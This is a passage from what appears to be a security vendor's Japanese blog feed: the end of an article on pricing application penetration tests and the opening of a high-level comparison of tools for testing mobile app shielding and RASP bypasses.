&lt;li&gt;&lt;a href="https://www.synack.com/"&gt;&lt;strong&gt;Synack&lt;/strong&gt;&lt;/a&gt;は、Sara AI Pentestingと、人間の研究者で構成されるSynack Red Teamを組み合わせています。&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.hackerone.com/"&gt;&lt;strong&gt;HackerOne&lt;/strong&gt;&lt;/a&gt;は、AIエージェントと人間の専門家を組み合わせたH1 Agentic Pentestを提供しています。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;見積もりの対象が、固定のペンテストなのか、研究者によるマネージド案件なのか、より広いプラットフォームのサブスクリプションなのかを確認してください。&lt;/p&gt;
&lt;h3 id="モバイルアプリケーションのスペシャリスト"&gt;モバイルアプリケーションのスペシャリスト&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.nowsecure.com/"&gt;&lt;strong&gt;NowSecure&lt;/strong&gt;&lt;/a&gt;はモバイルに特化しており、iOSアプリとAndroidアプリのバイナリ解析と実機での実行時解析に加え、専門家主導のペネトレーションテストを提供しています。モバイルのスコープでは、どのバイナリ、OSバージョン、端末、バックエンドAPIが含まれるかを明記すべきです。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="インフラと攻撃経路の検証"&gt;インフラと攻撃経路の検証&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.horizon3.ai/nodezero/"&gt;&lt;strong&gt;Horizon3.ai NodeZero&lt;/strong&gt;&lt;/a&gt;は、内部、外部、ID、クラウド、Kubernetesの自律型ペンテストを中心としており、Webアプリのテストは別のソリューションとして掲載されています。アプリケーションの評価と比較する前に、見積もりにこれらのどれが含まれているかを確認してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;市場をより広く見るには、&lt;a href="https://blog.ostorlab.co/best-ai-pentesting-platforms-2026.html"&gt;2026年のAIペンテストプラットフォームのおすすめ&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h2 id="見積もり価格から通常除外されるものは何か"&gt;見積もり価格から通常除外されるものは何か&lt;/h2&gt;
&lt;p&gt;提案書に別段の記載がない限り、価格に次のものが含まれていないかを確認してください。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;バックエンドAPI、管理用ポータル、または追加の環境&lt;/li&gt;
&lt;li&gt;追加のユーザーロール、テナント、またはテストアカウント&lt;/li&gt;
&lt;li&gt;AndroidとiOSのバイナリ、ソースコード、デスクトップクライアント&lt;/li&gt;
&lt;li&gt;クラウドの設定、IDインフラ、サードパーティとの連携&lt;/li&gt;
&lt;li&gt;ソーシャルエンジニアリング、フィッシング、サービス拒否、または破壊的なアクション&lt;/li&gt;
&lt;li&gt;修復作業と開発者サポート&lt;/li&gt;
&lt;li&gt;合意したアセットまたは重大度のスコープ外の検出結果&lt;/li&gt;
&lt;li&gt;含まれる期間を超える再テスト&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;除外項目そのものは問題ではありません。問題になるのは、同じアセット、アイデンティティ、エビデンス、再テストが含まれているかのように2つの見積もりを比較したときです。&lt;/p&gt;
&lt;h2 id="現実的なアプリケーションペンテストのシナリオではどれくらいの費用がかかるか"&gt;現実的なアプリケーションペンテストのシナリオではどれくらいの費用がかかるか&lt;/h2&gt;
&lt;p&gt;プロバイダーの開始価格よりも、スコープの増加要因のほうが重要です。よくある2つのシナリオを示します。&lt;/p&gt;
&lt;h3 id="apiと3つのロールを持つsaas webアプリケーション"&gt;APIと3つのロールを持つSaaS Webアプリケーション&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;手動の見積もりの目安&lt;/strong&gt;：北米で約&lt;strong&gt;$8,000〜$25,000&lt;/strong&gt;、西欧で&lt;strong&gt;&amp;euro;6,000〜&amp;euro;18,000&lt;/strong&gt;、APACとLATAMで&lt;strong&gt;$3,000〜$10,000&lt;/strong&gt;（&lt;a href="https://blog.ostorlab.co/penetration-testing-for-startups-2026-guide.html"&gt;スタートアップ向けガイドの地域別の表&lt;/a&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スペシャリスト&lt;/strong&gt;：Webのテスターと、APIまたは認可のスペシャリスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インプット&lt;/strong&gt;：ワークフロー、エンドポイントのインベントリ、3つのテスト用アイデンティティ、テナント境界、機密性の高いアクション、テストデータ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スコープの増加要因&lt;/strong&gt;：複雑な承認フロー、多数のテナント、非同期ジョブ、独立した管理ポータル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;期待されるエビデンス&lt;/strong&gt;：再現可能なリクエスト、ロール間の認可の比較、影響の実証、再テストのレポート&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;認証なしのクロールに限定された見積もりは、ロールを考慮したビジネスロジックの評価とは比較できません。&lt;/p&gt;
&lt;h3 id="証明書ピンニングと共有apiを備えたiosアプリとandroidアプリ"&gt;証明書ピンニングと共有APIを備えたiOSアプリとAndroidアプリ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;手動の見積もりの目安&lt;/strong&gt;：2つのバイナリと共有APIがスコープに含まれるため、通常は単一アプリの価格帯を上回ります。複数サーフェスとして扱ってください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スペシャリスト&lt;/strong&gt;：モバイルのリバースエンジニアリング、実行時の計装、APIの認可テスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インプット&lt;/strong&gt;：両方のバイナリ、サポート対象のOSバージョン、ピンニングの挙動、ローカルストレージ、ディープリンク、共有API&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スコープの増加要因&lt;/strong&gt;：root/ジェイルブレイク検知、デバイスバインディング、MFA、複数のロール、別々のリリーストレイン&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;期待されるエビデンス&lt;/strong&gt;：バイナリと実行時の観察結果、APIリクエスト、悪用可能性の実証、影響を受けるバージョン、再テストのガイダンス&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Webのみを対象としたAPIの見積もりは、バイナリとバックエンドを含む完全な評価とは比較できません。&lt;/p&gt;
&lt;h2 id="購入者はアプリケーションペンテストの見積もりをどう比較すべきか"&gt;購入者はアプリケーションペンテストの見積もりをどう比較すべきか&lt;/h2&gt;
&lt;p&gt;同じ価格の2つの見積もりが、まったく異なる評価を指していることがあります。すべてのプロバイダーに同じ10の質問をしてください。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;どのアプリケーション、API、モバイルクライアント、リポジトリ、環境が含まれるか。&lt;/li&gt;
&lt;li&gt;いくつのロールとテナントがテストされるか。&lt;/li&gt;
&lt;li&gt;ビジネスロジックのテストは含まれるか。&lt;/li&gt;
&lt;li&gt;どの検出結果が検証され、どのような実証が提供されるか。&lt;/li&gt;
&lt;li&gt;どの機能が到達できないまま残る可能性があるか。&lt;/li&gt;
&lt;li&gt;作業を行うのは人間か、エージェントか、スキャナーか、あるいはその組み合わせか。&lt;/li&gt;
&lt;li&gt;人間によるレビューは含まれるか。&lt;/li&gt;
&lt;li&gt;破壊的なアクションや状態を変えるアクションはどのように制御されるか。&lt;/li&gt;
&lt;li&gt;再テストは含まれるか、またその期間はどれくらいか。&lt;/li&gt;
&lt;li&gt;レポートは想定している監査、顧客、調達プロセスに使えるか。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;そのうえで、スコープ、除外項目、深さ、アイデンティティ、エビデンス、再テストの条件、スケジュールについての回答を書面で求めてください。&lt;/p&gt;
&lt;h2 id="ペネトレーションテストの隠れたコストは何か"&gt;ペネトレーションテストの隠れたコストは何か&lt;/h2&gt;
&lt;p&gt;見積もりはコストの一部にすぎません。社内のチームは引き続き、環境とテストアカウントを準備し、認証の失敗を解決し、検出結果を再現して担当者に振り分け、脆弱性を修正し、監査人の質問に答える必要があります。&lt;/p&gt;
&lt;p&gt;エビデンスが弱い安価なテストは、トリアージの段階で高くつくことがあります。高価なテストでも、主要なワークフローが到達不能なまま残れば、やはりお金の無駄になります。&lt;/p&gt;
&lt;h2 id="aiペンテストは手動のペンテストに取って代わるか"&gt;AIペンテストは手動のペンテストに取って代わるか&lt;/h2&gt;
&lt;p&gt;すべての状況でそうなるわけではありません。AIペンテストは、頻度、再現性、ポートフォリオ全体のカバレッジ、実行時の検証が重要な場合に適しています。手動のテストは、特殊なビジネスロジック、専門的なプロトコル、新しいアーキテクチャ、または独立した人間のテスターを前提とする保証が必要な場合に、引き続き価値があります。&lt;/p&gt;
&lt;p&gt;多くのチームは両者を組み合わせています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ベースラインのカバレッジのための継続的なスキャン&lt;/li&gt;
&lt;li&gt;重要な変更後のAIペンテスト&lt;/li&gt;
&lt;li&gt;重要なアプリケーションや特殊なリスクに対する人間によるテスト&lt;/li&gt;
&lt;li&gt;顧客、監査人、規制当局が求める場合の人間によるレビュー&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;両者を並べて比較するには、&lt;a href="https://blog.ostorlab.co/autonomous-pentesting-vs-traditional-penetration-testing.html"&gt;自律型ペンテストと従来型ペネトレーションテストの比較&lt;/a&gt;をお読みください。&lt;/p&gt;
&lt;h2 id="アプリケーションペンテストはコンプライアンス要件を満たすか"&gt;アプリケーションペンテストはコンプライアンス要件を満たすか&lt;/h2&gt;
&lt;p&gt;それは、基準とレポートを受け入れる側によって異なります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SOC 2とISO 27001&lt;/strong&gt;は、特定のペンテスト製品や価格を規定していません。ISO/IEC 27001:2022では、関連する附属書Aの管理策は8.8（技術的脆弱性の管理）と8.29（開発および受入れにおけるセキュリティテスト）です。エビデンスは、監査人と顧客を満足させるものでなければなりません。&lt;a href="https://blog.ostorlab.co/fastest-way-audit-ready-pentest-report-soc-2-compliance.html"&gt;SOC 2向けに監査に対応したペンテストレポートを入手する方法&lt;/a&gt;をご覧ください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PCI DSS v4.0.1の要件11.4&lt;/strong&gt;は、少なくとも12か月ごと、および重大な変更の後に、内部および外部のペネトレーションテストを実施することを求めています。AI支援型の評価がこれを満たすかどうかは、認定セキュリティ評価機関（QSA）に確認してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;購入前に、受け取る側が人間主導の案件、特定のプロバイダー認定、署名入りの証明書、特定の手法、再テストのエビデンス、またはテスト済みとテスト未実施のスコープの明確な一覧を求めているかどうかを確認してください。&lt;/p&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="2026年のアプリケーションペネトレーションテストの費用はいくらか_1"&gt;2026年のアプリケーションペネトレーションテストの費用はいくらか&lt;/h3&gt;
&lt;p&gt;手動のアプリケーションペンテストの費用は、単一のWebアプリまたはAPIで約$3,000〜$18,000、Web、API、モバイル、クラウドをカバーする複数サーフェスのスコープで$18,000〜$50,000+です。公開されているAIペンテストのパッケージは、スコープを定めた評価1件あたり$499〜約$8,000です。&lt;/p&gt;
&lt;h3 id="aiペネトレーションテストの費用はいくらか"&gt;AIペネトレーションテストの費用はいくらか&lt;/h3&gt;
&lt;p&gt;公開されているAIペンテストのパッケージは$499（Ostorlab Core）からです。Intruderは固定価格のAIペンテストを$4,000〜$8,000としており、XBOWは価格が利用量ベースで環境ごとにスコープが決められるため、価格を公開していません。多くのベンダーはスコープ定義の後にしか価格を提示せず、継続的なエンタープライズ向けプログラムは通常、サブスクリプションベースか個別価格です。&lt;/p&gt;
&lt;h3 id="ostorlabのai pentestの費用はいくらか"&gt;OstorlabのAI Pentestの費用はいくらか&lt;/h3&gt;
&lt;p&gt;Ostorlab AI Pentestの費用は、$499（Core）、$1,999（Advanced）、$3,999（Elite）で、Hyperscaleは個別価格です。すべてのプランに、AIエージェントが確定した検出結果ごとの実際に動作するエクスプロイト、接続されたWeb、API、モバイルのアセットに対するマルチアセット対応、再テスト期間が含まれます。人間による検証は含まれません。&lt;/p&gt;
&lt;h3 id="アプリケーションペネトレーションテストにはどれくらいの期間がかかるか"&gt;アプリケーションペネトレーションテストにはどれくらいの期間がかかるか&lt;/h3&gt;
&lt;p&gt;Intruderの見積もりによると、手動のWebアプリケーションテストには、規模と複雑さに応じて通常3〜15テスター日がかかります。テスト日数に加えて、スコープ定義、環境のセットアップ、レポート作成、再テストの時間も見込んでください。&lt;/p&gt;
&lt;h3 id="アプリケーションペネトレーションテストはどれくらいの頻度で実施すべきか"&gt;アプリケーションペネトレーションテストはどれくらいの頻度で実施すべきか&lt;/h3&gt;
&lt;p&gt;少なくとも年に1回、および重大な変更の後です。PCI DSS v4.0.1の要件11.4は、スコープ内の環境に対してこの最低基準を定めています。頻繁にリリースするチームは、年次テストの間にAIペンテストを追加し、次の手動の案件を待たずに新機能をカバーしています。&lt;/p&gt;
&lt;h3 id="aiと自律型のペネトレーションテストを提供している企業はどこか"&gt;AIと自律型のペネトレーションテストを提供している企業はどこか&lt;/h3&gt;
&lt;p&gt;Ostorlab（接続されたモバイル、Web、APIの評価）とXBOW（WebアプリケーションとAPI）が、自律型のアプリケーションテストを提供しています。Cobalt、Synack、HackerOneは、AIと人間のテスターを組み合わせています。Horizon3.ai NodeZeroは、インフラ、ID、クラウドを中心としています。これらは互いに直接の代替品ではありません。&lt;/p&gt;
&lt;h3 id="pentest as a service(ptaas)とは何か"&gt;Pentest as a Service（PTaaS）とは何か&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Pentest as a Service（PTaaS）&lt;/strong&gt;は、ソフトウェアプラットフォームを通じてペネトレーションテストを提供するものです。チームは案件を依頼し、報告される検出結果を随時確認し、テスターと協力し、課題をチケット管理システムに送り、正式なレポートとあわせて再テストを管理します。&lt;/p&gt;
&lt;h3 id="モバイルアプリのペネトレーションテストはwebアプリより費用がかかるか"&gt;モバイルアプリのペネトレーションテストはWebアプリより費用がかかるか&lt;/h3&gt;
&lt;p&gt;通常はかかります。モバイルのテストは、コンパイル済みのバイナリ（APKまたはIPA）、それが呼び出すバックエンドAPI、またはその両方をカバーし得るため、APIを含めるかどうかをスコープに明記してください。root検知や証明書ピンニングなどのクライアント側の保護は、標準的なWebアプリケーションと比べてセットアップの時間を増やします。&lt;/p&gt;
&lt;h3 id="apiペネトレーションテストの価格はどう決まるか"&gt;APIペネトレーションテストの価格はどう決まるか&lt;/h3&gt;
&lt;p&gt;APIのテストは、操作またはルート、スキーマ、ロール、認可の境界、認証、ビジネスロジックによってスコープが決められます。GraphQLでは一つのエンドポイントが多くの操作を露出し得るため、エンドポイント数だけでは誤解を招きます。スコープ定義の段階で完全なOpenAPIまたはGraphQLの仕様を共有すると、より正確な見積もりが得られます。&lt;/p&gt;
&lt;h3 id="脆弱性評価とペネトレーションテストの違いは何か"&gt;脆弱性評価とペネトレーションテストの違いは何か&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;脆弱性評価&lt;/strong&gt;は、弱点を広く特定し、優先順位付けします。&lt;strong&gt;ペネトレーションテスト&lt;/strong&gt;は、認可されたスコープの中で、選んだ弱点が悪用可能かどうか、そしてどのような影響を生むかを調査します。&lt;/p&gt;
&lt;h2 id="アプリケーションペンテストの費用についての結論"&gt;アプリケーションペンテストの費用についての結論&lt;/h2&gt;
&lt;p&gt;見出しの価格だけでペンテストを選ばないでください。見積もりが同じアセット、ロール、ワークフロー、エビデンス、再テストをカバーしていることを確認してください。そうでなければ、数字を比較することはできません。より大規模なプログラムでは、リリース頻度や人間による検証を含め、実際のポートフォリオをカバーするための年間コストで比較してください。&lt;/p&gt;
&lt;p&gt;自社のWebアプリ、API、モバイルクライアントの評価のスコープを定めるには、&lt;a href="https://ostorlab.co/plans"&gt;Ostorlab AI Pentestのパッケージと価格&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "Article",
      "@id": "https://blog.ostorlab.co/application-penetration-test-cost-2026.html#article",
      "headline": "2026年のアプリケーションペネトレーションテストの費用はいくらか",
      "author": {
        "@type": "Person",
        "name": "Abir Jelti"
      },
      "publisher": {
        "@type": "Organization",
        "name": "Ostorlab",
        "url": "https://ostorlab.co"
      },
      "datePublished": "2026-09-25",
      "dateModified": "2026-10-06",
      "image": "https://blog.ostorlab.co/static/img/2026-09-25_cost2026/cover.png",
      "mainEntityOfPage": "https://blog.ostorlab.co/application-penetration-test-cost-2026.html"
    },
    {
      "@type": "FAQPage",
      "@id": "https://blog.ostorlab.co/application-penetration-test-cost-2026.html#faq",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "2026年のアプリケーションペネトレーションテストの費用はいくらですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "手動のアプリケーションペンテストの費用は、単一のWebアプリまたはAPIで約$3,000〜$18,000、Web、API、モバイル、クラウドをカバーする複数サーフェスのスコープで$18,000〜$50,000+です。公開されているAIペンテストのパッケージは、スコープを定めた評価1件あたり$499〜約$8,000です。"
          }
        },
        {
          "@type": "Question",
          "name": "AIペネトレーションテストの費用はいくらですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "公開されているAIペンテストのパッケージは$499（Ostorlab Core）からです。Intruderは固定価格のAIペンテストを$4,000〜$8,000としており、XBOWは価格が利用量ベースで環境ごとにスコープが決められるため、価格を公開していません。多くのベンダーはスコープ定義の後にしか価格を提示せず、継続的なエンタープライズ向けプログラムは通常、サブスクリプションベースか個別価格です。"
          }
        },
        {
          "@type": "Question",
          "name": "OstorlabのAI Pentestの費用はいくらですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Ostorlab AI Pentestの費用は、$499（Core）、$1,999（Advanced）、$3,999（Elite）で、Hyperscaleは個別価格です。すべてのプランに、AIエージェントが確定した検出結果ごとの実際に動作するエクスプロイト、接続されたWeb、API、モバイルのアセットに対するマルチアセット対応、再テスト期間が含まれます。人間による検証は含まれません。"
          }
        },
        {
          "@type": "Question",
          "name": "アプリケーションペネトレーションテストにはどれくらいの期間がかかりますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Intruderの見積もりによると、手動のWebアプリケーションテストには、規模と複雑さに応じて通常3〜15テスター日がかかります。テスト日数に加えて、スコープ定義、環境のセットアップ、レポート作成、再テストの時間も見込んでください。"
          }
        },
        {
          "@type": "Question",
          "name": "アプリケーションペネトレーションテストはどれくらいの頻度で実施すべきですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "少なくとも年に1回、および重大な変更の後です。PCI DSS v4.0.1の要件11.4は、スコープ内の環境に対してこの最低基準を定めています。頻繁にリリースするチームは、年次テストの間にAIペンテストを追加し、次の手動の案件を待たずに新機能をカバーしています。"
          }
        },
        {
          "@type": "Question",
          "name": "AIと自律型のペネトレーションテストを提供している企業はどこですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Ostorlab（接続されたモバイル、Web、APIの評価）とXBOW（WebアプリケーションとAPI）が、自律型のアプリケーションテストを提供しています。Cobalt、Synack、HackerOneは、AIと人間のテスターを組み合わせています。Horizon3.ai NodeZeroは、インフラ、ID、クラウドを中心としています。これらは互いに直接の代替品ではありません。"
          }
        },
        {
          "@type": "Question",
          "name": "Pentest as a Service（PTaaS）とは何ですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Pentest as a Service（PTaaS）は、ソフトウェアプラットフォームを通じてペネトレーションテストを提供するものです。チームは案件を依頼し、報告される検出結果を随時確認し、テスターと協力し、課題をチケット管理システムに送り、正式なレポートとあわせて再テストを管理します。"
          }
        },
        {
          "@type": "Question",
          "name": "モバイルアプリのペネトレーションテストはWebアプリより費用がかかりますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "通常はかかります。モバイルのテストは、コンパイル済みのバイナリ（APKまたはIPA）、それが呼び出すバックエンドAPI、またはその両方をカバーし得るため、APIを含めるかどうかをスコープに明記してください。root検知や証明書ピンニングなどのクライアント側の保護は、標準的なWebアプリケーションと比べてセットアップの時間を増やします。"
          }
        },
        {
          "@type": "Question",
          "name": "APIペネトレーションテストの価格はどう決まりますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "APIのテストは、操作またはルート、スキーマ、ロール、認可の境界、認証、ビジネスロジックによってスコープが決められます。GraphQLでは一つのエンドポイントが多くの操作を露出し得るため、エンドポイント数だけでは誤解を招きます。スコープ定義の段階で完全なOpenAPIまたはGraphQLの仕様を共有すると、より正確な見積もりが得られます。"
          }
        },
        {
          "@type": "Question",
          "name": "脆弱性評価とペネトレーションテストの違いは何ですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "脆弱性評価は、弱点を広く特定し、優先順位付けします。ペネトレーションテストは、認可されたスコープの中で、選んだ弱点が悪用可能かどうか、そしてどのような影響を生むかを調査します。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Security"/><category term="Penetration Testing Cost"/><category term="Application Penetration Testing"/><category term="AI Pentesting"/><category term="Autonomous Pentesting"/><category term="PTaaS"/><category term="Application Security"/></entry><entry><title>モバイルアプリのシールディングバイパスをテストするための最適なツール</title><link href="https://blog.ostorlab.co/ja/best-tools-mobile-app-shielding-bypass.html" rel="alternate"/><published>2026-09-23T12:00:00+02:00</published><updated>2026-09-23T12:00:00+02:00</updated><author><name>Youssef Mabrouk</name></author><id>tag:blog.ostorlab.co,2026-09-23:/ja/best-tools-mobile-app-shielding-bypass.html</id><summary type="html">&lt;p&gt;手動テスト向けのApktool、JADX、Ghidra、Frida、Objection、LLDBを、OstorlabによるAndroid・iOSのモバイルシールディングおよびRASPの自動評価と比較します。&lt;/p&gt;</summary><content type="html">&lt;h2 id="エグゼクティブサマリー(tl;dr)"&gt;エグゼクティブサマリー（TL;DR）&lt;/h2&gt;
&lt;p&gt;モバイルアプリのシールディングがバイパスされ得るかをテストするには、段階ごとに異なるツールが必要です。&lt;strong&gt;Apktool&lt;/strong&gt;は再パッケージ化のテストのためにAndroidパッケージをデコード、変更、再ビルドします。&lt;strong&gt;JADXとGhidra&lt;/strong&gt;は保護ロジックの特定に役立ちます。&lt;strong&gt;Frida、Objection、LLDB&lt;/strong&gt;は実行時にシールディングとRASPの制御に揺さぶりをかけます。そして&lt;strong&gt;Ostorlab&lt;/strong&gt;はAndroidとiOSにわたる評価を自動化します。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;シールディングは攻撃を検知しても、アプリを保護できないことがあります。&lt;a href="https://blog.ostorlab.co/mobile-shielding-rasp-detection-enforcement-gap.html"&gt;Ostorlabによる5つの銀行アプリの評価&lt;/a&gt;では、あるアプリはroot化された端末上で動作していることを検知したにもかかわらず、そのままログイン画面へと進みました。保護は存在していました。問題は、その対応のほうにあったのです。&lt;/p&gt;
&lt;p&gt;したがって、テストはroot検知、アンチデバッグ、証明書ピンニングが存在することを確認するだけでは不十分です。チームは、これらの保護に揺さぶりをかけたときにアプリがどう対応するか、そしてその対応をバイパスできるかどうかを観察する必要があります。&lt;/p&gt;
&lt;p&gt;本ガイドでは、各ツールで何を検証できるか、必要となる専門知識、そしてその能力がどこで限界に達するかを説明します。手動のワークフローと自動評価のどちらを選ぶかを検討しているモバイルセキュリティのテスターやAppSecチームを対象としています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;本ガイドについて：&lt;/strong&gt;本ガイドは、比較対象に含まれているOstorlabが公開しています。公式ドキュメント、オープンソースのリポジトリ、OWASPのガイダンス、公開されている技術研究に基づいています。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="モバイルアプリのシールディングとraspのテストとは"&gt;モバイルアプリのシールディングとRASPのテストとは&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.ostorlab.co/mobile-application-shielding-threat-models-and-best-practices.html"&gt;モバイルアプリのシールディング&lt;/a&gt;&lt;/strong&gt;とは、解析、改変、実行時の干渉をより困難にするために、AndroidまたはiOSアプリケーションに追加される一連の保護のことです。コードの難読化、改ざん防止、整合性チェック、アンチデバッグ、アンチ計装、rootまたはジェイルブレイクの検知、証明書ピンニングなどが含まれます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.ostorlab.co/mobile-application-shielding-threat-models-and-best-practices.html"&gt;RASP（実行時アプリケーション自己保護）&lt;/a&gt;&lt;/strong&gt;は、より具体的には、アプリの実行中にアプリを監視する保護を指します。RASPは疑わしい状態を検知すると、警告を表示したり、操作を制限したり、アプリを終了したりすることがあります。したがってRASPは、より広範なモバイルアプリのシールディング層の一部です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.ostorlab.co/mobile-shielding-rasp-detection-enforcement-gap.html"&gt;シールディングとRASPのバイパステスト&lt;/a&gt;&lt;/strong&gt;は、これらの制御が想定した攻撃条件を検知するかどうか、そしてその対応を無力化または回避できるかどうかを確認するものです。保護が存在する、あるいはアラートを出すというだけでは、その保護が有効であることは実証されません。テストでは、保護が防ぐはずだった挙動をアプリが依然として許してしまうかどうかも確かめる必要があります。&lt;/p&gt;
&lt;h2 id="モバイルアプリのシールディングテストツール一覧"&gt;モバイルアプリのシールディングテストツール一覧&lt;/h2&gt;
&lt;p&gt;以下のツールは無料かつオープンソースですが、評価全体を一つでカバーできるツールはありません。アプリの改変や保護ロジックの特定から、実行時の制御への揺さぶり、結果の検証まで、それぞれがプロセスの特定の部分を担います。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;ツール&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;使う場面&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;モバイルの対象範囲&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;必要な作業&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;主な制約&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://apktool.org/"&gt;&lt;strong&gt;Apktool&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;再パッケージ化、署名、改ざん防止のテスト用に、改変したAPKを準備する&lt;/td&gt;
&lt;td&gt;Android APK&lt;/td&gt;
&lt;td&gt;マニフェスト、リソース、Smaliを調べ、管理された変更を加え、APKを再ビルドして再署名する&lt;/td&gt;
&lt;td&gt;Androidのみ。再ビルドや署名の失敗を、アプリのシールディングによる対応と切り分ける必要がある&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/skylot/jadx"&gt;&lt;strong&gt;JADX&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;AndroidのDEXコード内で保護チェックを見つけ、その呼び出し元をたどる&lt;/td&gt;
&lt;td&gt;AndroidのDEXバイトコード&lt;/td&gt;
&lt;td&gt;逆コンパイルされたコードを読み、実行時にテストすべき判定を特定する&lt;/td&gt;
&lt;td&gt;逆コンパイルが不完全な場合がある。ネイティブコードには別の解析ツールが必要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/NationalSecurityAgency/ghidra"&gt;&lt;strong&gt;Ghidra&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;ネイティブの保護ロジックをたどり、フックやパッチの適用箇所を特定する&lt;/td&gt;
&lt;td&gt;Androidのネイティブライブラリ、iOSバイナリ&lt;/td&gt;
&lt;td&gt;逆アセンブル結果を解釈し、逆コンパイルされた関数を確認する&lt;/td&gt;
&lt;td&gt;パックまたは暗号化されたコードは、解析の前に&lt;a href="https://blog.ostorlab.co/mobile-shielding-rasp-detection-enforcement-gap.html"&gt;実行時の抽出&lt;/a&gt;が必要な場合がある&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://frida.re/"&gt;&lt;strong&gt;Frida&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;独自のフックを書き、実行時にシールディングとRASPのチェックを観察または変更する&lt;/td&gt;
&lt;td&gt;AndroidおよびiOS&lt;/td&gt;
&lt;td&gt;プロセスへのアクセスを確立し、関数を特定し、スクリプトを調整する&lt;/td&gt;
&lt;td&gt;スクリプトが実行される前に&lt;a href="https://blog.ostorlab.co/mobile-shielding-rasp-detection-enforcement-gap.html"&gt;アンチ計装がFridaをブロックする&lt;/a&gt;ことがある&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/sensepost/objection"&gt;&lt;strong&gt;Objection&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;一般的なroot、ジェイルブレイク、証明書ピンニングのチェックに対して&lt;a href="https://github.com/sensepost/objection/wiki/Features"&gt;既存のバイパスルーチン&lt;/a&gt;を試す&lt;/td&gt;
&lt;td&gt;AndroidおよびiOS&lt;/td&gt;
&lt;td&gt;Fridaのアクセスを確立し、ルーチンを選択し、対応を検証する&lt;/td&gt;
&lt;td&gt;Fridaに依存する。独自の保護には個別に調整したフックが必要な場合がある&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://lldb.llvm.org/"&gt;&lt;strong&gt;LLDB&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;ネイティブの実行を一時停止し、チェックを追跡したり、変化する状態を調べたりする&lt;/td&gt;
